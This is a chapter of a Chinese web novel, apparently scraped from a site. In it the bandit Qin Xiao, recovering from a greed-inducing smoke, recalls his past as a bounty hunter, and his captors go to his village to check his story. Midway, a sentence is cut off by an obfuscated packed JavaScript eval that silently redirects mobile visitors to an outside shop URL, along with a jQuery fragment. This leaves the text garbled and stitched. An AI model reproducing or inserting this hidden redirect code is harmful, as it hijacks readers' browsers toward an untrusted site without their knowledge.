秦骁醒来的时候,发现自己正结结实实地被绑在柴房正中央的一根柱子上。
他用力扭了扭酸痛的肩膀,试图挣脱绳子,却发现一点力气也使不上。他气恼地转头,突然看见有三个陌生人正站在门边默默凝视着他,他冷不丁被吓了一跳,本就凶狠的眉毛瞬间扬起:
“你们是谁?为什么把老子绑在这儿!”
“怎么还是这样?”时萝失落地垮下脸来。
“他…真的清醒了吗?”黎挽月壮着胆子上前,伸手戳了戳他的脸,秦骁烦躁地甩开她的手。
陆苍祁抱着双臂,冷冷地开口:“秦骁,你还记得都发生了什么吗?”
问他发生了什么?秦骁不解,明明是自己突然莫名其妙地被这三个怪人绑在这里,怎么却反过来问他?
“你好好回忆一下这段时间发生的事。”陆苍祁沉声道。
回忆?有什么好回忆的?他明明只是好端端地做着自己的营生,那天……
突然,他想起那种陌生的感觉,胸中仿佛有一团火焰在燃烧,头脑也跟着发蒙,仿佛被鬼魅附身一般,变得无比地渴望金钱!
所有东西都变得无关紧要,所有声音也都变成了耳边的杂音,他感觉自己甚至丧失了人性,成了被食物引诱着的牲口,只会被金钱驱使着向前跑……
他想起自己狂喜着将大把的财宝揣进怀里,如何粗暴地出手伤人,只为从他们那里抢夺财物;想起那些人苦苦哀求的面孔,他却毫不在意,一心只想要更多的金钱……
“钱呢?把你值钱的东西统统掏出来!”
“不要啊大爷,求求你……”
“该死,怎么又输了!不行…不够!我还得去弄更多……”
“我…我到底怎么了……为什么会做这些事……”他感到头疼欲裂,于是痛苦地垂下头,想把脸埋起来,双臂却被缚住,动弹不得。
看着他的样子,陆苍祁知道他已然回忆起来,便开口解释道:
“你中了妄尘烟,是它让你丧失理智,只一味地渴求金钱,做出了很多恶事。”
“妄尘烟,那是什么?”他沙哑的嗓音里带着哭腔。
陆苍祁便向他粗略解释了一下。
“你知道这么多……难道…难道就是你让我中了那个什么破烟?”他突然愤怒起来,双目圆睁怒视着陆苍祁,挣扎着想要站起来。
“你冷静点!”陆苍祁厉声道,“栖雾的感染本就无迹可寻,我们也不知道你因何感染。”
“是啊!明明是我们救了你,驱离了你身上的栖雾,阻止你再去害人的!”时萝皱着眉头反驳道,黎挽月也跟着点头。
秦骁想起昨晚的事,低下头去不说话了,强壮的肩膀瑟缩着,竟显得有些弱小。
“你犯了罪,之后我们会将你交给官府处置。”陆苍祁道。
“不…不!”一听这话,秦骁顿时慌了神,“不要把我交给官府,我不是恶人!都是、都是因为那个怪雾我才会做出那些事!”
“可你不是山匪吗?”黎挽月皱眉,她还记得那天自己从马上跌落时的恐惧。面对确凿的证据,他如何能够狡辩?
“你们这些人在离州附近猖獗已经很久了吧?更不用说近日,就连城中也频频传来山匪作恶的消息。”陆苍祁替他回忆道,“你竟还妄想逃脱惩罚?”
“我本来不是山匪!我是中了那个怪雾之后……才跑去当山匪的!”秦骁哭喊道,他垂下眸,陷入了回忆。
他本是个孤儿,小时候家乡闹饥荒,他跟着爹娘逃难,一路南下,他想起腹中因饥饿而灼痛,想起爹娘临死前,因饥饿而凹陷的脸颊,枯瘦的双手紧紧搂住他,却又拼劲最后一丝力气将他推开:“骁儿…活…活下去……”
后来爹娘都死在了路上,他被路过的离州乡民捡了回去,由王家村的王屠夫收养。
王屠夫是个粗人,却也热心肠,待他很好。王屠夫年轻时是武行的伙计,懂很多拳脚功夫,连同做人的道理,也一并教给了他。
后来他长大了,因个性桀骜,不爱读书,也不爱受人驱使,整日游手好闲。
记得那晚,他又打群架回来,为着赢了邻村的混混而沾沾自喜,王屠夫却拎着酒坛,拉他在门口坐下,用粗糙的大手一下下拍着他的肩膀:
“骁儿,记住喽!我教你这身本事,不是让你浪费在这种地方的。拳头可以用来打人,但你出拳的理由,应该是惩恶扬善!别辜负了你爹娘给你取的这个‘骁’字……”
他幡然醒悟,开始做些替人消灾的散活。经年累月下来,也干了不少事。他做过保镖、替人抓过贼、寻回过丢失的东西、还揭过官府的通缉令,帮官府捉拿逃犯……这种行当被人称作“赏金猎人”。
他本就身强力壮,又一身正义感,做起这些事情手到擒来,他自己也是乐在其中。
“秦骁,多亏了你抓住这几个逃犯!我这个月的月俸有着落啦!”
“是啊!你给他那几下,正中要害!哈哈……”
他还记得衙役们称赞的话和钦佩的眼神,他们的认可,令他感到自己终于成了王屠夫口中那种惩恶扬善的侠士。
他还记得他最近一次回乡,王家村的乡亲们热情地请他吃酒,他们都听说了他在外面的事迹,为王家村出了一个替人排忧解难的义士而自豪。
“孩子,以后你要是在外面饿了、累了,就常回家里来歇歇……”王大娘颤颤巍巍地拉住他,把补好的旧衣连同一大包点心,一个劲儿地往他手里塞……
可中了妄尘烟以后,他不再满足于原先替人干活得来的那点儿赏金,转而做起了山匪。
他的天赋,和妄尘烟赋予他的能力,让他得以在山匪中混得风生水起,经过这些时日,竟混成个小头目,甚至还有了几个愿意追随他的手下。
“老大,接下来抢哪家?”
“谁让他不肯拿钱!狠狠揍他!”
他想起自己因贪婪做出的那些恶事,不禁感到毛骨悚然。
他秦骁,原本也算个豪侠义士,谁知一念成魔,竟落草为寇,做起了他从前最看不起的强盗勾当,甚至沦落到要被抓去官府的地步?念及至此,秦骁悔不当初,声泪俱下。
========
“……你说的这些,有什么证据?”听完他的叙述,陆苍祁眉头皱起,一脸怀疑。
“我的邻居!村里裁缝铺的王大娘可以替我作证,她从小看着我长大的!”秦骁大声嚷道。
“…可你终究还是犯了罪,即使是因为妄尘烟……”陆苍祁闭起双眼,面上隐隐透出一丝痛苦的神情。
看着他的神色,黎挽月突然想起那天陆苍祁所说的话:
“你为什么收集栖雾?”“为了赎罪…”
“我愿意赎罪!”秦骁焦急地叫嚷,眼里重新燃起一丝亮光,“我抢来的那些东西…我一分都没动!我还记得都是从哪抢的,我可以全部都还给他们!”
这倒是事实,基于妄尘烟的特性,只会让感
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17721054|208651||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
染者拼命渴求金钱,却并不会致人挥霍。
“还有山匪!我知道山匪的巢穴在哪里!”望着他们犹豫的神情,秦骁急忙补充道,“我可以将功补过,把他们的消息全都告诉你们!”
陆苍祁却依然眉头紧皱:“可你曾经出手伤人,若是甚至闹出人命的话……”
“我、我一向都是抢了钱就走,从未闹出过人命!”秦骁赶忙辩解道,“至于我弄伤的那些人……我愿意赔偿他们…向他们道歉!”
“求求你们,别把我交给官府……”他哀求着,却也自知这些话有多无力,双肩颓然垂下。
黎挽月三人面面相觑,用复杂的眼神望着彼此,心中挣扎。一半是对秦骁的同情,一半是对公理的敬畏,若是真的放过他,岂不是对律法的践踏?更何况那些被秦骁等人伤害的无辜之人,难道他们愿意原谅吗?
三个山匪手下原本被捆在柴房的角落里,此时也已经转醒,听着他们的交谈惊讶不已:
“老大…原来你竟有这些苦衷……”
“是啊,老大,我们愿意追随你!你要是不当山匪了,那我们也……”
“不行!我可不想落在官府手里,我可是…”
三个山匪七嘴八舌地吵了起来。
“…容我再考虑一下。”陆苍祁站起身,避开秦骁乞求的眼神,带着她俩出去了。
黎挽月顺手关上门,将他们的声音隔绝在门内,犹豫着问:“怎么办,要放过他吗?”
“那怎么行,不管怎么说他都做了恶事。”陆苍祁沉吟道,“…这样吧,我们先去核实一下他有没有撒谎。”
“那这些人怎么办?”时萝伸手指了指,一脸嫌恶地问。
“也不好再麻烦赵掌柜……”陆苍祁叹了口气,“…去跟赵掌柜说一声,让她先派人把这些山匪押回客栈吧。”
时萝应了一声,转头离开了。
没人给她指派任务,反正留在客栈也没事做。黎挽月想了想,还是选择跟陆苍祁一起,一路前往秦骁口中的王家村,询问秦骁的事。
一番打探后,他们找到了秦骁的邻居:裁缝铺的王大娘。
王大娘是个上了年纪的老妇人,耳朵半聋,一直鸡同鸭讲,导致他们费了很大功夫,才向她叙述清楚,她倒是肯定了秦骁关于自己身世的说法。随后他们又在村民之中询问,不少村民表示认识秦骁,也说他为人不错,最近一次听到他的消息,还是听说他帮官府抓了逃犯。
暮色西垂,最后的一抹橘红色天光也消失在屋舍后面,他们并肩走在返回客栈的路上,为秦骁的事情发愁。
“这么看来,也许他说的都是实话。”黎挽月道。
“不错。但即便如此,他依旧犯了律法,”陆苍祁皱眉望着地面,似乎下定了决心,“我还是打算将他交给官府,由官府定夺。”
“若是他需要,我们可以帮他作证,若他愿意将功折罪,我相信官府也定会从轻发落的。”陆苍祁补充道。
跑了一天,顾不上好好吃饭,于是他们在路旁的馄饨摊前坐下,准备吃点东西再回去。不一会儿,老板便手脚麻利地端了两碗馄饨上来。
蒸腾的热气暂时驱散了冬日的寒冷,他们埋头吃了起来,二人之间只剩下勺子碰撞瓷碗的细微声响。
“我昨晚说的话…你有考虑过吗?”
吃到一半,陆苍祁突然放下勺子,看向她道。
“解决了秦骁,事情也就告一段落,不知道你今后作何打算?”